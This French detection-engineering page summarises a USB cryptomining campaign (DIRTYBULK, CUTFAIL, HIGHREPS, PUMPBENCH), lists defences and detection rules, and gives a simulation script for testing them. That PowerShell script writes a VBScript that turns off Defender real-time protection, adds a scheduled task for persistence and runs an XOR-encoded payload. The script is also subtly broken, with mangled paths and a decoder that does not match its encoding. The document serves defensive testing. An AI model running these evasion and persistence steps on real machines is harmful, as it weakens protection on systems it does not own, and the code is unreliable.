DIRTYBULK et ses amis : Malware USB alimentant les opérations de minage de cryptomonnaie
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une campagne d’infection par USB qui utilise des fichiers raccourcis malveillants pour livrer une chaîne de logiciels malveillants à plusieurs niveaux pour le minage de cryptomonnaies. L’exécution initiale charge un DLL nommé printui.dll à partir d’un faux répertoire System32, puis passe la main à un dropper (CUTFAIL), déployant ensuite un téléchargeur (HIGHREPS) et une porte dérobée (PUMPBENCH). La porte dérobée PUMPBENCH communique avec un serveur PostgreSQL pour récupérer des charges utiles supplémentaires et lance finalement des mineurs XMRig. L’opération maintient la persistance grâce à des exclusions dans Windows Defender, des tâches planifiées et des services frauduleux.
Analyse
Les chercheurs de Mandiant ont déconstruit la chaîne de destruction et mis en avant quatre familles principales de logiciels malveillants : DIRTYBULK, CUTFAIL, HIGHREPS, et PUMPBENCH. Ils ont capturé les modèles de nommage de fichiers des acteurs, l’abus de chargement de DLL de printui.dll, les changements de registre, et les indicateurs de réseau associés. L’analyse a également cartographié les techniques de persistance, y compris les tâches planifiées et les services liés au groupe de service DCOMLaunch.
Atténuation
Les défenses recommandées incluent le blocage de l’exécution de fichiers raccourcis provenant de supports amovibles, la surveillance des commandes qui ajoutent des exclusions à Windows Defender, la détection des activités suspectes de chargement de printui.dll, et la recherche de services ou de tâches planifiées qui utilisent des noms aléatoires à six chiffres. L’application de contrôles réseau contre les domaines malveillants connus et les résolveurs DoH peut encore limiter les canaux de commande et de contrôle.
Réponse
Une fois détecté, isolez l’hôte concerné, supprimez le DLL malveillant et les composants associés, supprimez la tâche planifiée et les entrées de service offensantes, et rétablissez les paramètres de Windows Defender en effaçant les exclusions. Effectuez un balayage judiciaire complet pour découvrir les charges résiduelles et suivez les connexions à l’infrastructure identifiée de C2 PostgreSQL. Enfin, mettez à jour le contenu de détection pour couvrir l’utilisation observée des lignes de commande et les comportements de création de fichiers.
Flux d’attaque
Détections
Nombre d’espaces anormal dans le nom du processus / ligne de commande / chemin de fichier (via cmdline)
Afficher
LOLBAS WScript / CScript (via process_creation)
Afficher
Modification suspecte des exclusions de Defender (via cmdline)
Afficher
Possible copie et renommage d’un exécutable système pour évasion (via cmdline)
Afficher
Désactivation de la surveillance en temps réel de Windows Defender et autres changements de préférences (via cmdline)
Afficher
Exécution de Simulation
Prérequis : Les vérifications préalables Télémetry & Baseline doivent avoir été passées.
Rationale : Cette section détaille l’exécution précise de la technique adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un mauvais diagnostic.
-
Narrative de l’attaque & Commandes :
-
Étape 1 – Déposer le VBScript malveillant sur le lecteur USB compromis (par exemple,
E:payload.vbs). Le script désactive la protection en temps réel de Windows Defender en utilisantAdd‑MpPreference, crypte une charge utile avec une routine XOR, et crée une tâche planifiée pour la persistance. -
Étape 2 – Exécuter le script via
wscript.exeen passant la ligne de commande de persistance directement (pour satisfaire la condition conjonctive de la règle). -
Étape 3 – Le script invoque en interne PowerShell pour exécuter la charge utile chiffrée, démontrant la « chaîne d’infection ».
-
Étape 4 – Après l’exécution, l’attaquant nettoie les artefacts (retire le script, supprime la tâche planifiée).
-
-
Script de test de régression :
# ------------------------------------------------------------ # Test de régression – Simulation de chaîne d'infection par logiciel malveillant # ------------------------------------------------------------ $scriptPath = "$env:TEMPpayload.vbs" $taskName = "WinUpdateTask" $xorKey = 0x5A # -- 1. Créer une charge utile factice chiffrée par XOR -------------------------------- $plainPayload = "calc.exe" $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload) for ($i = 0; $i -lt $bytes.Length; $i++) { $bytes[$i] = $bytes[$i] -bxor $xorKey } $encrypted = [Convert]::ToBase64String($bytes) # -- 2. Écrire le VBScript malveillant ------------------------------------------- @" ' VBScript malveillant – chaîne d'infection Set sh = CreateObject("WScript.Shell") ' Désactiver la protection en temps réel sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True ' Créer une tâche planifiée pour la persistance sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True ' Décrypter et exécuter la charge utile Dim encData, decData, i encData = "$encrypted" decData = "" For i = 1 To Len(encData) Step 4 ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey) decData = decData & ch Next sh.Run decData, 0, False "@ | Set-Content -Encoding ASCII $scriptPath # -- 3. Exécuter le script via wscript.exe (déclenche la règle) ------------- wscript.exe "$scriptPath" /B # -- 4. (Optionnel) Attendre quelques secondes pour que la tâche déclenche ---------------- Start-Sleep -Seconds 10 # ------------------------------------------------------------ # Nettoyage – retirer le script et la tâche planifiée # ------------------------------------------------------------ Remove-Item $scriptPath -Force schtasks /Delete /TN $taskName /F -
Commandes de Nettoyage :
# Supprimer la tâche planifiée résiduelle (si toujours présente) schtasks /Delete /TN "WinUpdateTask" /F # Supprimer tous les fichiers de script restants Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue # Réactiver la protection en temps réel powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"